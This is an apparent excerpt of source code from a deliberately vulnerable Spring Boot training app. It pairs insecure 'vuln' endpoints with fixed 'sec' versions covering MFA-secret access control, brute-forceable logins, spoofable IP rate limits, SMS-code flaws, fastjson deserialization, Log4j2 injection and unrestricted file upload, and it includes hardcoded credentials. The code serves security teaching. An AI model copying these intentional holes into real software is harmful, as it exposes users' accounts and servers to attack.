8 | import icu.secnotes.utils.JwtUtils;
9 | import lombok.extern.slf4j.Slf4j;
10 | import org.springframework.beans.factory.annotation.Autowired;
11 | import org.springframework.web.bind.annotation.*;
12 | import javax.servlet.http.HttpServletRequest;
13 | import java.time.LocalDateTime;
14 | import java.util.HashMap;
15 | import java.util.Map;
16 |
17 | @RestController
18 | @Slf4j
19 | @RequestMapping("/accessControl/HorizontalPri")
20 | public class HorizontalPriVulnController {
21 |
22 | @Autowired
23 | private MfaSecretService mfaSecretService;
24 |
25 | /**
26 | * 用户绑定MFA密钥
27 | * @param mfaSecret
28 | * @return
29 | */
30 | @PostMapping("/bindMfa")
31 | public Result bindMfaSecret(@RequestBody MfaSecret mfaSecret, HttpServletRequest request) {
32 | // 获取JWT Token
33 | String jwttoken = request.getHeader("Authorization");
34 | try {
35 | // 解析获取JWT中用户ID
36 | String tokenUserId = JwtUtils.parseJwt(jwttoken).get("id").toString();
37 |
38 | // 验证用户只能绑定自己的MFA密钥,否则退出
39 | if (!mfaSecret.getUserId().toString().equals(tokenUserId)) {
40 | log.warn("用户 {} 尝试越权绑定用户 {} 的MFA密钥", tokenUserId, mfaSecret.getUserId());
41 | return Result.error("无权绑定其他用户的MFA密钥");
42 | }
43 |
44 | // 检查用户是否已有MFA密钥,否则退出
45 | MfaSecret existingSecret = mfaSecretService.getSecretByUserId(mfaSecret.getUserId());
46 | if (existingSecret != null) {
47 | // 表示用户已绑定MFA
48 | return Result.error("用户已经绑定过MFA");
49 | }
50 |
51 | // 生成google mfa secreate
52 | GoogleAuthenticatorKey credentials = GoogleAuthenticatorUtil.createCredentials();
53 | String secret = credentials.getKey();
54 | log.info("生成的MFA密钥: {}", secret);
55 |
56 | String qrCodeUrl = GoogleAuthenticatorUtil.getQRCodeUrl("admin", "SpringVulnBoot", secret);
57 | log.info(qrCodeUrl);
58 |
59 | // 设置GoogleAuthenticatorKey
60 | mfaSecret.setSecret(secret);
61 |
62 | // 设置创建时间为当前,update_time为null
63 | mfaSecret.setCreateTime(LocalDateTime.now());
64 |
65 | // 为用户生成google authenticator的密钥
66 | Integer res = mfaSecretService.createMfaSecret(mfaSecret);
67 |
68 | // 进行判断
69 | if (res > 0) {
70 | // 表示用户mfa生成成功
71 | // return Result.success("用户MFA绑定成功");
72 | // 表示用户mfa生成成功
73 | Map data = new HashMap<>();
74 | data.put("secret", secret);
75 | data.put("qrCodeUrl", qrCodeUrl);
76 |
77 | return Result.success(data);
78 | } else {
79 | // 表示用户mfa生成成功
80 | return Result.error("用户MFA绑定失败");
81 | }
82 |
83 | } catch (Exception e) {
84 | log.error("JWT验证失败", e);
85 | return Result.error("身份验证失败");
86 | }
87 |
88 | }
89 |
90 | /**
91 | * 删除用户的MFA密钥
92 | * @param mfaSecret
93 | * @return
94 | */
95 | @PostMapping("/resetMfa")
96 | public Result resetMfaSecret(@RequestBody MfaSecret mfaSecret, HttpServletRequest request) {
97 | // 获取JWT Token
98 | String jwttoken = request.getHeader("Authorization");
99 | try {
100 | // 解析获取JWT中用户ID
101 | String tokenUserId = JwtUtils.parseJwt(jwttoken).get("id").toString();
102 |
103 | // 验证用户只能重置自己的MFA密钥
104 | if (!mfaSecret.getUserId().toString().equals(tokenUserId)) {
105 | log.warn("用户 {} 尝试越权重置用户 {} 的MFA密钥", tokenUserId, mfaSecret.getUserId());
106 | return Result.error("无权重置其他用户的MFA密钥");
107 | }
108 | // 删除用户的MFA密钥
109 | Integer res = mfaSecretService.deleteMfaSecret(mfaSecret);
110 | if (res > 0) {
111 | return Result.success("用户MFA解绑成功");
112 | } else {
113 | return Result.error("用户MFA解绑失败");
114 | }
115 |
116 | } catch (Exception e) {
117 | log.error("JWT验证失败", e);
118 | return Result.error("身份验证失败");
119 | }
120 |
121 | }
122 |
123 | /**
124 | * 越权漏洞,可越权查询其他用户的MFA密钥
125 | * @param userId
126 | * @return
127 | */
128 | @GetMapping("/vuln1/{userId}")
129 | public Result getMfaSecret(@PathVariable Integer userId) {
130 | MfaSecret mfaSecret = mfaSecretService.getSecretByUserId(userId);
131 | if (mfaSecret != null) {
132 | return Result.success(mfaSecret.getSecret());
133 | } else {
134 | return Result.error("用户不存在或者用户未绑定MFA");
135 | }
136 | }
137 |
138 | /**
139 | * 安全获取MFA密钥接口
140 | * 使用JWT验证用户身份,防止越权访问
141 | * @param userId 用户ID
142 | * @param request HTTP请求对象,用于获取JWT token
143 | * @return MFA密钥信息
144 | */
145 | @GetMapping("/sec1/{userId}")
146 | public Result getSecureMfaSecret(@PathVariable Integer userId, HttpServletRequest request) {
147 | // 获取JWT token
148 | String jwttoken = request.getHeader("Authorization");
149 |
150 | try {
151 | // 解析获取JWT中用户ID
152 | String tokenUserId = JwtUtils.parseJwt(jwttoken).get("id").toString();
153 |
154 | // 验证用户只能访问自己的MFA密钥
155 | if (!userId.toString().equals(tokenUserId)) {
156 | log.warn("用户 {} 尝试越权访问用户 {} 的MFA密钥", tokenUserId, userId);
157 | return Result.error("无权访问其他用户的MFA密钥");
158 | }
159 |
160 | // 获取MFA密钥
161 | MfaSecret mfaSecret = mfaSecretService.getSecretByUserId(userId);
162 | if (mfaSecret != null) {
163 | return Result.success(mfaSecret.getSecret());
164 | } else {
165 | return Result.error("用户不存在或者用户未绑定MFA");
166 | }
167 | } catch (Exception e) {
168 | log.error("JWT验证失败", e);
169 | return Result.error("身份验证失败");
170 | }
171 | }
172 |
173 | }
174 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/AccessControll/UnauthorizedPriVulnController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.AccessControll;
2 |
3 | import icu.secnotes.pojo.MfaSecret;
4 | import icu.secnotes.pojo.Result;
5 | import icu.secnotes.service.MfaSecretService;
6 | import icu.secnotes.utils.JwtUtils;
7 | import lombok.extern.slf4j.Slf4j;
8 | import org.springframework.beans.factory.annotation.Autowired;
9 | import org.springframework.web.bind.annotation.*;
10 | import javax.servlet.http.HttpServletRequest;
11 |
12 | @RestController
13 | @Slf4j
14 | @RequestMapping("/accessControl/UnauthorizedPri")
15 | public class UnauthorizedPriVulnController {
16 |
17 | @Autowired
18 | private MfaSecretService mfaSecretService;
19 |
20 | /**
21 | * 未授权访问漏洞,不需要认证登录就可以获取其他人的MFA密钥
22 | * @param userId
23 | * @return
24 | */
25 | @GetMapping("/vuln1/{userId}")
26 | public Result getMfaSecretByUnAuth(@PathVariable Integer userId) {
27 | MfaSecret mfaSecret = mfaSecretService.getSecretByUserId(userId);
28 | if (mfaSecret != null) {
29 | return Result.success(mfaSecret.getSecret());
30 | } else {
31 | return Result.error("用户不存在或者用户未绑定MFA");
32 | }
33 | }
34 |
35 | /**
36 | * 安全获取MFA密钥接口
37 | * 使用JWT验证用户身份,防止越权访问
38 | * @param userId 用户ID
39 | * @param request HTTP请求对象,用于获取JWT token
40 | * @return MFA密钥信息
41 | */
42 | @GetMapping("/sec1/{userId}")
43 | public Result getSecureMfaSecret(@PathVariable Integer userId, HttpServletRequest request) {
44 | // 获取JWT token
45 | String jwttoken = request.getHeader("Authorization");
46 |
47 | try {
48 | // 解析获取JWT中用户ID
49 | String tokenUserId = JwtUtils.parseJwt(jwttoken).get("id").toString();
50 |
51 | // 验证用户只能访问自己的MFA密钥
52 | if (!userId.toString().equals(tokenUserId)) {
53 | log.warn("用户 {} 尝试越权访问用户 {} 的MFA密钥", tokenUserId, userId);
54 | return Result.error("无权访问其他用户的MFA密钥");
55 | }
56 |
57 | // 获取MFA密钥
58 | MfaSecret mfaSecret = mfaSecretService.getSecretByUserId(userId);
59 | if (mfaSecret != null) {
60 | return Result.success(mfaSecret.getSecret());
61 | } else {
62 | return Result.error("用户不存在或者用户未绑定MFA");
63 | }
64 | } catch (Exception e) {
65 | log.error("JWT验证失败", e);
66 | return Result.error("身份验证失败");
67 | }
68 | }
69 |
70 | }
71 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/Authentication/MFAAuthVulnController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.Authentication;
2 |
3 | import lombok.extern.slf4j.Slf4j;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RestController;
6 |
7 | @RestController
8 | @Slf4j
9 | @RequestMapping("/authentication/mfaBased")
10 | public class MFAAuthVulnController {
11 |
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/Authentication/PassBasedAuthVulnController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.Authentication;
2 |
3 | import com.google.code.kaptcha.impl.DefaultKaptcha;
4 | import icu.secnotes.pojo.Result;
5 | import icu.secnotes.pojo.User;
6 | import icu.secnotes.service.UserLoginLogService;
7 | import icu.secnotes.service.UserService;
8 | import icu.secnotes.utils.Security;
9 | import lombok.extern.slf4j.Slf4j;
10 | import org.springframework.beans.factory.annotation.Autowired;
11 | import org.springframework.web.bind.annotation.*;
12 |
13 | import javax.imageio.ImageIO;
14 | import javax.servlet.ServletOutputStream;
15 | import javax.servlet.http.HttpServletRequest;
16 | import javax.servlet.http.HttpServletResponse;
17 | import javax.servlet.http.HttpSession;
18 | import java.awt.image.BufferedImage;
19 | import java.io.IOException;
20 | import java.time.LocalDateTime;
21 |
22 | @RestController
23 | @Slf4j
24 | @RequestMapping("/authentication/passwordBased")
25 | public class PassBasedAuthVulnController {
26 |
27 | @Autowired
28 | private UserService userService;
29 |
30 | @Autowired
31 | private DefaultKaptcha defaultKaptcha;
32 |
33 | @Autowired
34 | private UserLoginLogService userLoginLogService;
35 |
36 | /**
37 | * 用户登录,存在暴力破解漏洞
38 | *
39 | * @param user
40 | * @return
41 | */
42 | @PostMapping("/vuln1")
43 | public Result passwordLoginVuln(@RequestBody User user) {
44 | User u = userService.passwordLogin(user);
45 |
46 | if (u != null) {
47 | // 登录成功
48 | log.info("{} 登录成功!", u.getUsername());
49 | return Result.success("登录成功,账号:" + user.getUsername() + ",密码:" + user.getPassword());
50 | } else {
51 | // 登录失败
52 | log.error("登录失败,账号密码是:{},{}", user.getUsername(), user.getPassword());
53 | return Result.success("登录失败,账号:" + user.getUsername() + ",密码:" + user.getPassword());
54 | }
55 | }
56 |
57 | /**
58 | * 防止暴力破解的用户登录,可以伪造IP绕过
59 | */
60 | @PostMapping("/vuln2")
61 | public Result passwordLoginVuln2(@RequestBody User user, HttpServletRequest request) {
62 | //1. 获取用户登录ip
63 | String ip = (request.getHeader("X-Forwarded-For") != null) ? request.getHeader("X-Forwarded-For") : request.getRemoteAddr();
64 |
65 | //2. 判断最近5分钟内登录失败次数是否超过5次
66 | if (userLoginLogService.countUserLoginLogByIp(ip) >= 5) {
67 | log.error("登录失败次数过多,账号:{}", user.getUsername());
68 | return Result.success("登录失败次数过多,请稍后再试!");
69 | }
70 |
71 | //3. 登录
72 | User u = userService.passwordLogin(user);
73 |
74 | if (u != null) {
75 | // 登录成功,清除登录失败记录
76 | userLoginLogService.deleteUserLoginLogByIp(ip);
77 | log.info("{} 登录成功!", u.getUsername());
78 | return Result.success("登录成功,账号:" + user.getUsername() + ",密码:" + user.getPassword());
79 | } else {
80 | // 登录失败,记录登录失败日志
81 | userLoginLogService.insertUserLoginLog(ip, user.getUsername(), LocalDateTime.now());
82 | log.error("登录失败,账号密码是:{},{}", user.getUsername(), user.getPassword());
83 | return Result.success("登录失败,账号:" + user.getUsername() + ",密码:" + user.getPassword());
84 | }
85 | }
86 |
87 | /**
88 | * 防止暴力破解的用户登录
89 | */
90 | @PostMapping("/sec")
91 | public Result passwordLoginSec(@RequestBody User user, HttpServletRequest request) {
92 | //1. 获取用户登录ip
93 | String ip = request.getRemoteAddr();
94 |
95 | //2. 判断最近5分钟内登录失败次数是否超过5次
96 | if (userLoginLogService.countUserLoginLogByIp(ip) >= 5) {
97 | log.error("登录失败次数过多,账号:{}", user.getUsername());
98 | return Result.success("登录失败次数过多,请稍后再试!");
99 | }
100 |
101 | //3. 登录
102 | User u = userService.passwordLogin(user);
103 |
104 | if (u != null) {
105 | // 登录成功,清除登录失败记录
106 | userLoginLogService.deleteUserLoginLogByIp(ip);
107 | log.info("{} 登录成功!", u.getUsername());
108 | return Result.success("登录成功,账号:" + user.getUsername() + ",密码:" + user.getPassword());
109 | } else {
110 | // 登录失败,记录登录失败日志
111 | userLoginLogService.insertUserLoginLog(ip, user.getUsername(), LocalDateTime.now());
112 | log.error("登录失败,账号密码是:{},{}", user.getUsername(), user.getPassword());
113 | return Result.success("登录失败,账号:" + user.getUsername() + ",密码:" + user.getPassword());
114 | }
115 | }
116 |
117 | /**
118 | * 基于HTTP Basic认证的用户登录
119 | */
120 | @PostMapping("/httpBasicLogin")
121 | public Result httpBasicLogin(HttpServletRequest request, HttpServletResponse response) {
122 | String USERNAME = "zhangsan"; // 硬编码用户名
123 | String PASSWORD = "123"; // 硬编码密码
124 |
125 | // 处理HTTP Basic Auth登录
126 | String token = request.getHeader("token");
127 | if (token == null || !token.startsWith("Basic ")) {
128 | log.info("HTTP Basic Auth登录,token缺失或者token格式错误");
129 | return Result.success("HTTP Basic Auth登录,token缺失或者token格式错误");
130 | }
131 |
132 | String[] credentials = Security.decodeBasicAuth(token);
133 | if (credentials == null || credentials.length != 2) {
134 | return Result.success("HTTP Basic Auth登录,token解析失败");
135 | }
136 |
137 | String username = credentials[0];
138 | String password = credentials[1];
139 |
140 | if (!USERNAME.equals(username) || !PASSWORD.equals(password)) {
141 | log.info("HTTP Basic Auth登录,账号密码错误,token:{}" , token);
142 | return Result.success("HTTP Basic Auth登录失败,账号:" + username + ",密码:" + password);
143 | }
144 |
145 | log.info("HTTP Basic Auth登录,放行,token:{}" , token);
146 | return Result.success("HTTP Basic Auth登录成功,账号:" + username + ",密码:" + password);
147 | }
148 |
149 | @GetMapping("/captcha")
150 | public void getCaptcha(HttpServletRequest request, HttpServletResponse response) throws IOException {
151 | log.info("有人请求验证码了.....");
152 | response.setDateHeader("Expires", 0);
153 | response.setHeader("Cache-Control", "no-store, no-cache, must-revalidate");
154 | response.addHeader("Cache-Control", "post-check=0, pre-check=0");
155 | response.setHeader("Pragma", "no-cache");
156 | response.setContentType("image/jpeg");
157 |
158 | // 生成验证码文本
159 | String capText = defaultKaptcha.createText();
160 | // 将验证码文本存储到 Session
161 | HttpSession session = request.getSession();
162 | System.out.println("存储时候的session对象" + session);
163 | session.setAttribute("captcha", capText);
164 | // 生成验证码图片
165 | BufferedImage bi = defaultKaptcha.createImage(capText);
166 | ServletOutputStream out = response.getOutputStream();
167 | ImageIO.write(bi, "jpg", out);
168 | out.flush();
169 | out.close();
170 |
171 | System.out.println("获取验证码接口-----》Stored captcha in session: " + session.getAttribute("captcha"));
172 | }
173 |
174 | @PostMapping("/vuln3")
175 | public Result passwordLoginVuln3( @RequestParam String username, // 接收用户名
176 | @RequestParam String password, // 接收密码
177 | @RequestParam String captcha, // 接收验证码
178 | HttpServletRequest request) {
179 |
180 | //获取服务端生成的验证码
181 | HttpSession session = request.getSession();
182 | System.out.println("读取时候的session对象" + session);
183 |
184 | // 从 Session 中获取验证码
185 | System.out.println("登录接口-------》提交的验证码:" + captcha);
186 | System.out.println("登录接口-------》Stored captcha in session: " + session.getAttribute("captcha"));
187 |
188 | String sessionCaptcha = (String) request.getSession().getAttribute("captcha");
189 | // 校验验证码
190 | if (sessionCaptcha == null || !sessionCaptcha.equalsIgnoreCase(captcha)) {
191 | return Result.success("验证码错误");
192 | }
193 |
194 | // 校验用户名和密码
195 | User u = userService.passwordLogin2(username, password);
196 |
197 | if (u != null) {
198 | // 登录成功
199 | log.info("{} 登录成功!", u.getUsername());
200 | return Result.success("登录成功,账号:" + username + ",密码:" + password);
201 | } else {
202 | // 登录失败
203 | log.error("登录失败,账号密码是:{},{}", username, password);
204 | return Result.success("登录失败,账号:" + username + ",密码:" + password);
205 | }
206 | }
207 |
208 | /**
209 | * 用户登录,通过图形验证码防刷(简单实现图形验证码)
210 | *
211 | * @param username
212 | * @param password
213 | * @return
214 | */
215 | @PostMapping("/sec2")
216 | public Result passwordLoginSecByCaptcha( @RequestParam String username, // 接收用户名
217 | @RequestParam String password, // 接收密码
218 | @RequestParam String captcha, // 接收验证码
219 | HttpServletRequest request) {
220 |
221 | //获取服务端生成的验证码
222 | HttpSession session = request.getSession();
223 | System.out.println("读取时候的session对象" + session);
224 |
225 | // 从 Session 中获取验证码
226 | System.out.println("登录接口-------》提交的验证码:" + captcha);
227 | System.out.println("登录接口-------》Stored captcha in session: " + session.getAttribute("captcha"));
228 |
229 | String sessionCaptcha = (String) request.getSession().getAttribute("captcha");
230 | // 校验验证码
231 | if (sessionCaptcha == null || !sessionCaptcha.equalsIgnoreCase(captcha)) {
232 | return Result.success("验证码错误,账号:" + username + ",密码:" + password);
233 | }
234 |
235 | // 清除验证码
236 | session.removeAttribute("captcha");
237 |
238 | // 校验用户名和密码
239 | User u = userService.passwordLogin2(username, password);
240 |
241 | if (u != null) {
242 | // 登录成功
243 | log.info("{} 登录成功!", u.getUsername());
244 | return Result.success("登录成功,账号:" + username + ",密码:" + password);
245 | } else {
246 | // 登录失败
247 | log.error("登录失败,账号密码是:{},{}", username, password);
248 | return Result.success("登录失败,账号:" + username + ",密码:" + password);
249 | }
250 | }
251 |
252 | }
253 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/Authentication/SmsBasedAuthVulnController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.Authentication;
2 |
3 | import icu.secnotes.pojo.Result;
4 | import icu.secnotes.pojo.SmsCode;
5 | import icu.secnotes.service.SmsCodeService;
6 | import org.springframework.beans.factory.annotation.Autowired;
7 | import org.springframework.web.bind.annotation.*;
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpSession;
10 | import javax.validation.Valid;
11 | import java.time.LocalDateTime;
12 |
13 | @RestController
14 | @RequestMapping("/authentication/smsBased")
15 | public class SmsBasedAuthVulnController {
16 |
17 | @Autowired
18 | private SmsCodeService smsCodeService;
19 |
20 | // 发送短信接口:接口直接将验证码返回给前端 + 短信轰炸
21 | @PostMapping("/sendVuln1")
22 | public Result sendVuln1(@Valid @RequestBody SmsCode smsCode) {
23 | // 生成四位随机数作为验证码
24 | smsCode.setCode(String.valueOf((int) ((Math.random() * 9 + 1) * 1000)));
25 | // 设置验证码的创建时间为当前时间
26 | smsCode.setCreateTime(LocalDateTime.now());
27 | // 设置验证码的过期时间为当前时间加5分钟
28 | smsCode.setExpireTime(LocalDateTime.now().plusMinutes(5));
29 | // 验证的使用状态和重试次数默认是0,所以生成验证码的时候可以不设置
30 | smsCodeService.generateCode(smsCode);
31 | return Result.success("短信验证码已发送," + smsCode.getCode());
32 | }
33 |
34 | // 发送短信接口:验证码不返回给前端 + 短信轰炸
35 | @PostMapping("/sendSafe1")
36 | public Result sendSafe1(@Valid @RequestBody SmsCode smsCode) {
37 | // 生成四位随机数作为验证码
38 | smsCode.setCode(String.valueOf((int) ((Math.random() * 9 + 1) * 1000)));
39 | // 设置验证码的创建时间为当前时间
40 | smsCode.setCreateTime(LocalDateTime.now());
41 | // 设置验证码的过期时间为当前时间加5分钟
42 | smsCode.setExpireTime(LocalDateTime.now().plusMinutes(5));
43 | // 验证的使用状态和重试次数默认是0,所以生成验证码的时候可以不设置
44 | smsCodeService.generateCode(smsCode);
45 | return Result.success("短信验证码已发送");
46 | }
47 |
48 | // 发送短信接口:图形验证码防短信轰炸
49 | @PostMapping("/sendSafe2")
50 | public Result sendSafe2(@RequestParam String phone, @RequestParam String captcha, HttpServletRequest request) {
51 |
52 | //获取服务端生成的验证码
53 | HttpSession session = request.getSession();
54 | System.out.println("读取时候的session对象" + session);
55 | // 从 Session 中获取验证码
56 | System.out.println("登录接口-------》提交的验证码:" + captcha);
57 | System.out.println("登录接口-------》Stored captcha in session: " + session.getAttribute("captcha"));
58 | String sessionCaptcha = (String) request.getSession().getAttribute("captcha");
59 | // 校验验证码
60 | if (sessionCaptcha == null || !sessionCaptcha.equalsIgnoreCase(captcha)) {
61 | return Result.success("图形验证码错误");
62 | }
63 |
64 | // 清除验证码
65 | session.removeAttribute("captcha");
66 |
67 |
68 | // 生成四位随机数作为验证码
69 | String smsCode = String.valueOf((int) ((Math.random() * 9 + 1) * 1000));
70 | // 设置验证码的创建时间为当前时间
71 | LocalDateTime createTime = LocalDateTime.now();
72 | // 设置验证码的过期时间为当前时间加5分钟
73 | LocalDateTime expireTime = LocalDateTime.now().plusMinutes(5);
74 |
75 | // 验证的使用状态和重试次数默认是0,所以生成验证码的时候可以不设置
76 | smsCodeService.generateCodeByPhoneAndCode(phone, smsCode, createTime, expireTime);
77 | return Result.success("短信验证码已发送");
78 | }
79 |
80 | // 验证短信接口:验证码未限制校验次数,可以暴力破解验证码
81 | @PostMapping("/verifyVuln1")
82 | public Result verifyVuln1(@Valid @RequestBody SmsCode smsCode) {
83 | SmsCode code = smsCodeService.verifyCode(smsCode.getPhone(), smsCode.getCode());
84 | if (code != null) {
85 | // 设置验证码为已使用
86 | smsCodeService.updateSmsCodeUsed(smsCode);
87 | return Result.success();
88 | } else {
89 | return Result.error("验证码错误");
90 | }
91 | }
92 |
93 | // 验证短信接口:验证码校验次数限制,防止暴力破解
94 | @PostMapping("/verifySafe1")
95 | public Result verifySafe1(@Valid @RequestBody SmsCode smsCode) {
96 | SmsCode code = smsCodeService.verifyCode(smsCode.getPhone(), smsCode.getCode());
97 | if (code != null) {
98 | // 设置验证码为已使用
99 | smsCodeService.updateSmsCodeUsed(smsCode);
100 | return Result.success();
101 | } else {
102 | // 更新验证码的重试次数
103 | smsCodeService.updateSmsCodeRetryCount(smsCode.getPhone());
104 | // 做一个判断,如果验证码的重试次数小于5,返回验证码错误,否则返回错误次数过多
105 | if (smsCodeService.selectRetryCount(smsCode.getPhone()) < 5) {
106 | return Result.error("验证码错误");
107 | } else {
108 | return Result.error("错误次数过多,请重新获取短信验证码");
109 | }
110 | }
111 | }
112 |
113 | // 验证短信接口:验证码可重复使用
114 | @PostMapping("/verifyVuln2")
115 | public Result verifyVuln2(@Valid @RequestBody SmsCode smsCode) {
116 | // 虽然验证成功后修改了验证码未已使用,但是查询的时候并没有校验使用状态
117 | SmsCode code = smsCodeService.verifyCode2(smsCode.getPhone(), smsCode.getCode());
118 | if (code != null) {
119 | // 设置验证码为已使用
120 | smsCodeService.updateSmsCodeUsed(smsCode);
121 | return Result.success();
122 | } else {
123 | return Result.error("验证码错误");
124 | }
125 | }
126 | }
127 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/Components/FastjsonController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.Components;
2 |
3 | import com.alibaba.fastjson.JSON;
4 | import icu.secnotes.pojo.Result;
5 | import icu.secnotes.pojo.User;
6 | import lombok.extern.slf4j.Slf4j;
7 | import org.springframework.web.bind.annotation.PostMapping;
8 | import org.springframework.web.bind.annotation.RequestBody;
9 | import org.springframework.web.bind.annotation.RequestMapping;
10 | import org.springframework.web.bind.annotation.RestController;
11 |
12 | @RestController
13 | @Slf4j
14 | @RequestMapping("/components/fastjson")
15 | public class FastjsonController {
16 |
17 | @PostMapping("/vuln1")
18 | public Result fastjsonVuln1(@RequestBody String json) {
19 | log.info("请求参数: {}", json);
20 | // 进行fastjson反序列化,需要对下面的代码进行try catch异常处理
21 | try {
22 | Object object = JSON.parse(json);
23 | return Result.success(object.toString());
24 | } catch (Exception e) {
25 | return Result.error(e.toString());
26 | }
27 | }
28 |
29 | @PostMapping("/sec1")
30 | public Result fastjsonSec1(@RequestBody String json) {
31 | log.info("请求参数: {}", json);
32 | // 进行fastjson反序列化,需要对下面的代码进行try catch异常处理
33 | try {
34 | Object object = JSON.parseObject(json, User.class);
35 | return Result.success(object.toString());
36 | } catch (Exception e) {
37 | return Result.error(e.toString());
38 | }
39 | }
40 |
41 | }
42 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/Components/Log4j2Controller.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.Components;
2 |
3 | import icu.secnotes.pojo.Result;
4 | import icu.secnotes.utils.Security;
5 | import lombok.extern.slf4j.Slf4j;
6 | import org.apache.logging.log4j.LogManager;
7 | import org.apache.logging.log4j.Logger;
8 | import org.springframework.web.bind.annotation.GetMapping;
9 | import org.springframework.web.bind.annotation.RequestMapping;
10 | import org.springframework.web.bind.annotation.RestController;
11 |
12 | @RestController
13 | @RequestMapping("/components/log4j2")
14 | @Slf4j
15 | public class Log4j2Controller {
16 |
17 | private static final Logger LOGGER = LogManager.getLogger(Log4j2Controller.class);
18 |
19 | @GetMapping("/vuln1")
20 | public Result Vuln1(String input) {
21 | LOGGER.info("用户输入: {}", input);
22 | return Result.success(String.format("用户输入: %s", input));
23 | }
24 |
25 | @GetMapping("/sec1")
26 | public Result Sec1(String input) {
27 | if (!Security.checkSql(input)) {
28 | LOGGER.warn("检测到非法注入字符");
29 | return Result.error("检测到非法注入");
30 | }
31 | LOGGER.info("用户输入的内容: {}", input);
32 | return Result.success(String.format("用户输入的内容: %s", input));
33 | }
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/FileUpload/FileUploadController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.FileUpload;
2 |
3 | import icu.secnotes.pojo.Result;
4 | import lombok.extern.slf4j.Slf4j;
5 | import org.springframework.web.bind.annotation.*;
6 | import org.springframework.web.multipart.MultipartFile;
7 | import java.io.File;
8 | import java.io.IOException;
9 | import java.nio.file.Files;
10 | import java.nio.file.Paths;
11 | import java.util.Arrays;
12 | import java.util.List;
13 |
14 | @RestController
15 | @Slf4j
16 | @RequestMapping("/fileUpload")
17 | public class FileUploadController {
18 |
19 | private static final String UPLOAD_DIR = System.getProperty("user.dir") + "/src/main/resources/static/file/";
20 | private static final List ALLOWED_EXTENSIONS = Arrays.asList("jpg", "jpeg", "png", "gif");
21 |
22 | @PostMapping("/vuln1")
23 | @ResponseBody
24 | public Result handleFileUploadVuln1(@RequestParam("file") MultipartFile file) {
25 | if (file.isEmpty()) {
26 | return Result.error("请选择要上传的文件");
27 | }
28 |
29 | try {
30 | // 确保上传目录存在
31 | if (!Files.exists(Paths.get(UPLOAD_DIR))) {
32 | Files.createDirectories(Paths.get(UPLOAD_DIR));
33 | }
34 |
35 | // 保存文件
36 | String filePath = UPLOAD_DIR + file.getOriginalFilename();
37 | File dest = new File(filePath);
38 | file.transferTo(dest);
39 | // 将下面的file.getOriginalFilename()改为文件完整路径
40 | return Result.success("文件上传成功: " + filePath);
41 |
42 | } catch (IOException e) {
43 | e.printStackTrace();
44 | return Result.error("文件上传失败: " + e.getMessage());
45 | }
46 | }
47 |
48 | /**
49 | * 文件类型校验,可绕过
50 | */
51 | @PostMapping("/vuln2")
52 | @ResponseBody
53 | public Result handleFileUploadVuln2(@RequestParam("file") MultipartFile file) {
54 | if (file.isEmpty()) {
55 | return Result.error("请选择要上传的文件");
56 | }
57 |
58 | try {
59 | // 确保上传目录存在
60 | if (!Files.exists(Paths.get(UPLOAD_DIR))) {
61 | Files.createDirectories(Paths.get(UPLOAD_DIR));
62 | }
63 |
64 | // 限制上传文件类型
65 | String contentType = file.getContentType();
66 | System.out.println(contentType);
67 | if (!"image/jpeg".equals(contentType) && !"image/png".equals(contentType)) {
68 | return Result.error("只允许上传图片文件");
69 | }
70 |
71 | // 保存文件
72 | String filePath = UPLOAD_DIR + file.getOriginalFilename();
73 | File dest = new File(filePath);
74 | file.transferTo(dest);
75 | return Result.success("文件上传成功: " + filePath);
76 |
77 | } catch (IOException e) {
78 | e.printStackTrace();
79 | return Result.error("文件上传失败: " + e.getMessage());
80 | }
81 | }
82 |
83 | /**
84 | * 修复方案:限制上传文件后缀名
85 | */
86 | @PostMapping("/sec1")
87 | @ResponseBody
88 | public Result handleFileUploadSec1(@RequestParam("file") MultipartFile file) {
89 | if (file.isEmpty()) {
90 | return Result.error("请选择要上传的文件");
91 | }
92 |
93 | try {
94 | // 确保上传目录存在
95 | if (!Files.exists(Paths.get(UPLOAD_DIR))) {
96 | Files.createDirectories(Paths.get(UPLOAD_DIR));
97 | }
98 |
99 | // 限制上传文件类型
100 | String fileName = file.getOriginalFilename();
101 | // 如果上传的文件后缀名不属于ALLOWED_EXTENSIONS,则返回错误
102 | String extension = fileName.substring(fileName.lastIndexOf(".") + 1);
103 | if (!ALLOWED_EXTENSIONS.contains(extension)) {
104 | return Result.error("只允许上传图片文件");
105 | }
106 |
107 | // 保存文件
108 | String filePath = UPLOAD_DIR + fileName;
109 | File dest = new File(filePath);
110 | file.transferTo(dest);
111 | return Result.success("文件上传成功: " + filePath);
112 |
113 | } catch (IOException e) {
114 | e.printStackTrace();
115 | return Result.error("文件上传失败: " + e.getMessage());
116 | }
117 | }
118 |
119 | }
120 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/LoginController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller;
2 |
3 | import icu.secnotes.pojo.Admin;
4 | import icu.secnotes.pojo.Result;
5 | import icu.secnotes.service.LoginService;
6 | import icu.secnotes.utils.JwtUtils;
7 | import lombok.extern.slf4j.Slf4j;
8 | import org.springframework.beans.factory.annotation.Autowired;
9 | import org.springframework.web.bind.annotation.GetMapping;
10 | import org.springframework.web.bind.annotation.PostMapping;
11 | import org.springframework.web.bind.annotation.RequestBody;
12 | import org.springframework.web.bind.annotation.RestController;
13 | import javax.servlet.http.HttpServletRequest;
14 | import javax.servlet.http.HttpServletResponse;
15 | import java.util.HashMap;
16 |
17 | @Slf4j
18 | @RestController
19 | public class LoginController {
20 |
21 | @Autowired
22 | private LoginService loginService;
23 |
